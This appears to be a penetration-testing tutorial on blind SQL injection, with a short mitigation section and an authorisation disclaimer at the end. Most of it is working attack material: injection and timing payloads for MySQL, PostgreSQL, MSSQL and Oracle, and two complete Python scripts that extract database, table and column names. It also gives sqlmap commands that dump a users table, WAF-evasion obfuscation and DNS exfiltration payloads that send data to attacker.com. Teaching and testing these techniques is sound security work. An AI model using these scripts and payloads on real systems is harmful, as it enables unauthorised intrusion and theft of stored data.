What is Blind SQL Injection?
Blind SQL Injection occurs when an application is vulnerable to SQL Injection, but does not return query results or error messages in the HTTP response. The attacker must infer the database content based on indirect application behaviors.
There are two main types:
| Type | Mechanism | Speed |
|---|---|---|
| Boolean-based | Evaluates TRUE/FALSE in the response | Slow |
| Time-based | Measures response delay (SLEEP) | Very slow |
| Error-based | Causes errors with embedded data | Fast |
| Out-of-band | Exfiltration via DNS/HTTP | Fast |
Identifying the vulnerability
Basic injection test
GET /user?id=1 HTTP/1.1
Host: target.com
Inject Boolean conditions and observe differences in response:
# TRUE condition — normal response
/user?id=1 AND 1=1--
# FALSE condition — different response (no content, redirect, etc.)
/user?id=1 AND 1=2--
If the responses are visibly different between TRUE and FALSE, the endpoint is vulnerable to boolean-based blind SQLi.
Time-based test
# MySQL / MariaDB
/user?id=1 AND SLEEP(5)--
# PostgreSQL
/user?id=1 AND pg_sleep(5)--
# MSSQL
/user?id=1; WAITFOR DELAY '0:0:5'--
# Oracle
/user?id=1 AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
If the response takes exactly 5 seconds, the backend is vulnerable.
Boolean-Based Exploitation (Manual)
The technique consists of asking yes/no questions to the database, extracting one character at a time.
Identifying the database
-- MySQL
1 AND SUBSTRING(@@version,1,1)='5'--
-- PostgreSQL
1 AND SUBSTRING(version(),1,10)='PostgreSQL'--
-- MSSQL
1 AND SUBSTRING(@@version,1,9)='Microsoft'--
Extracting the name of the current database
-- Name length
1 AND LENGTH(database())=6--
-- First character
1 AND SUBSTRING(database(),1,1)='d'--
-- Second character
1 AND SUBSTRING(database(),2,1)='v'--
Python script for boolean-based automation
#!/usr/bin/env python3
# blind_sqli_extract.py — Boolean-based extractor
import requests
import string
import sys
TARGET = "http://target.com/user"
PARAM = "id"
CHARS = string.ascii_lowercase + string.digits + "_-@."
def inject(payload: str) -> bool:
"""Returns True if the injection condition is TRUE."""
params = {PARAM: f"1 AND ({payload})-- -"}
r = requests.get(TARGET, params=params, timeout=10)
# Adjust the marker to whatever differentiates TRUE from FALSE
return "Welcome" in r.text
def extract_string(query: str, max_len: int = 64) -> str:
"""Extract a string value one character at a time."""
result = ""
for pos in range(1, max_len + 1):
found = False
for ch in CHARS:
payload = f"SUBSTRING(({query}),{pos},1)='{ch}'"
if inject(payload):
result += ch
sys.stdout.write(ch)
sys.stdout.flush()
found = True
break
if not found:
break # End of string
print()
return result
if __name__ == "__main__":
print("[*] Extracting database name...")
db = extract_string("SELECT database()")
print(f"[+] Database: {db}")
print("[*] Extracting first table name...")
table = extract_string(
f"SELECT table_name FROM information_schema.tables "
f"WHERE table_schema='{db}' LIMIT 1"
)
print(f"[+] First table: {table}")
print("[*] Extracting columns...")
cols = extract_string(
f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns "
f"WHERE table_name='{table}'"
)
print(f"[+] Columns: {cols}")
Time-Based Exploitation (Manual)
When there is no visual difference in the response, use time delays as a channel of information.
#!/usr/bin/env python3
# time_based_sqli.py — Time-based extractor
import requests
import string
import time
import sys
TARGET = "http://target.com/user"
PARAM = "id"
DELAY = 3 # seconds to sleep if TRUE
THRESHOLD = 2.5 # detection threshold
CHARS = string.ascii_lowercase + string.digits + "_-@."
def inject_time(payload: str) -> bool:
"""Returns True if the response took longer than THRESHOLD."""
full = f"1 AND IF(({payload}), SLEEP({DELAY}), 0)-- -"
params = {PARAM: full}
start = time.time()
try:
requests.get(TARGET, params=params, timeout=DELAY + 5)
except requests.exceptions.Timeout:
return True
elapsed = time.time() - start
return elapsed >= THRESHOLD
def extract_string(query: str, max_len: int = 64) -> str:
result = ""
for pos in range(1, max_len + 1):
found = False
for ch in CHARS:
payload = f"SUBSTRING(({query}),{pos},1)='{ch}'"
if inject_time(payload):
result += ch
sys.stdout.write(ch)
sys.stdout.flush()
found = True
break
if not found:
break
print()
return result
if __name__ == "__main__":
print("[*] Time-based extraction — this will be slow...")
db = extract_string("SELECT database()")
print(f"[+] Database: {db}")
> NOTE: Time-based SQLi is extremely slow for long strings. Use binary search (ascii range) to optimize.
Optimization with Binary Search
def extract_char_binary(query: str, pos: int) -> str:
"""Extract a single character using binary search on ASCII value."""
lo, hi = 32, 126 # printable ASCII range
while lo < hi:
mid = (lo + hi) // 2
payload = f"ASCII(SUBSTRING(({query}),{pos},1))>{mid}"
if inject_time(payload):
lo = mid + 1
else:
hi = mid
return chr(lo) if 32 <= lo <= 126 else ''
Using sqlmap
For professional automation, sqlmap is the standard tool.
# Basic detection
sqlmap -u "http://target.com/user?id=1" --batch
# Force specific techniques
sqlmap -u "http://target.com/user?id=1" \
--technique=BT \
--batch \
--level=3 \
--risk=2
# Extract database, tables, and dump
sqlmap -u "http://target.com/user?id=1" \
--dbs \
--batch
sqlmap -u "http://target.com/user?id=1" \
-D target_db \
--tables \
--batch
sqlmap -u "http://target.com/user?id=1" \
-D target_db \
-T users \
--dump \
--batch
# Via POST request
sqlmap -u "http://target.com/login" \
--data="username=admin&password;=test" \
-p username \
--batch
# Via Burp intercepted request
sqlmap -r request.txt --batch --level=5
# With authenticated session cookie
sqlmap -u "http://target.com/profile?id=1" \
--cookie="session=abc123; csrftoken=xyz" \
--batch
sqlmap with proxy (Burp Suite)
sqlmap -u "http://target.com/user?id=1" \
--proxy="http://127.0.0.1:8080" \
--batch \
--tamper=space2comment,randomcase
WAF bypass
Useful sqlmap tamper scripts
# Space → SQL comment
--tamper=space2comment
# Random case: SELECT → SeLeCt
--tamper=randomcase
# Encode URL payloads
--tamper=percentage
# Combine multiple tampers
--tamper=space2comment,randomcase,between
Manually obfuscated payloads
-- Spaces replaced with comments
1/**/AND/**/1=1--
-- Inline comments to separate keywords
1 /*!AND*/ 1=1--
-- Hex encoding of strings
1 AND SUBSTRING(database(),1,1)=0x64--
-- Double URL encoding (for WAFs that decode once)
%2527 → %27 → '
Out-of-Band (OOB) Exfiltration
When both boolean and time-based are blocked, exfiltrate via DNS or HTTP.
MySQL — DNS Exfiltration
-- Requires FILE privilege and external DNS resolution
SELECT LOAD_FILE(CONCAT('\\\\',
(SELECT database()),
'.attacker.com\\share'))--
MSSQL — xp_dirtree DNS
-- Via xp_dirtree (no need for xp_cmdshell)
EXEC master.dbo.xp_dirtree
'\\' + (SELECT TOP 1 table_name FROM information_schema.tables) + '.attacker.com\x'--
Capturing with interactsh or Burp Collaborator
# Start listener with interactsh-client
interactsh-client -v
# Your callback URL is: xxxx.interactsh.com
# Use in payload:
# ' AND LOAD_FILE(CONCAT('\\\\', database(), '.xxxx.interactsh.com\\x'))--
Mitigation
| Vector | Recommended Control |
|---|---|
| Dynamic query | Use Prepared Statements / Parameterized Queries |
| Insecure ORM | Avoid raw queries; use ORMs with bind parameters |
| Verbose errors | Disable stack traces in production |
| Lack of WAF | Implement WAF with OWASP CRS rules |
| Excessive permissions | DB user should only have SELECT on necessary tables |
| OOB via DNS | Block outgoing DNS resolution on the DB server |
# SECURE: Parameterized query in Python (psycopg2)
import psycopg2
conn = psycopg2.connect("dbname=app user=readonly")
cur = conn.cursor()
user_id = request.args.get("id")
cur.execute("SELECT username FROM users WHERE id = %s", (user_id,))
row = cur.fetchone()
References
- OWASP SQL Injection
- PayloadsAllTheThings — SQLi
- sqlmap documentation
- PortSwigger Web Security Academy
> DISCLAIMER: This content is intended exclusively for authorized security professionals. The use of these techniques on systems without explicit authorization is illegal. KBM Security is not responsible for misuse.